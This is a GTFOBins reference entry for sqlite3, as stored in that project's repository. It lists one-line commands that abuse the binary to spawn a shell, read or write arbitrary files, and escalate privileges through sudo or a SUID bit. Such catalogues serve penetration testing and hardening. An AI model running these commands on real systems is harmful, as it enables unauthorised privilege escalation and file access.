GTFOBins.github.io/_gtfobins/sqlite3.md
2018-07-16 15:01:50 +02:00

519 B

functions
execute-interactive file-write file-read sudo-enabled suid-limited
code
sqlite3 /dev/null '.shell /bin/sh'
code
LFILE=file_to_write sqlite3 /dev/null -cmd ".output $LFILE" 'select "data";'
code
LFILE=file_to_read sqlite3 << EOF CREATE TABLE t(line TEXT); .import $LFILE t SELECT * FROM t; EOF
code
sudo sqlite3 /dev/null '.shell /bin/sh'
code
./sqlite3 /dev/null '.shell /bin/sh'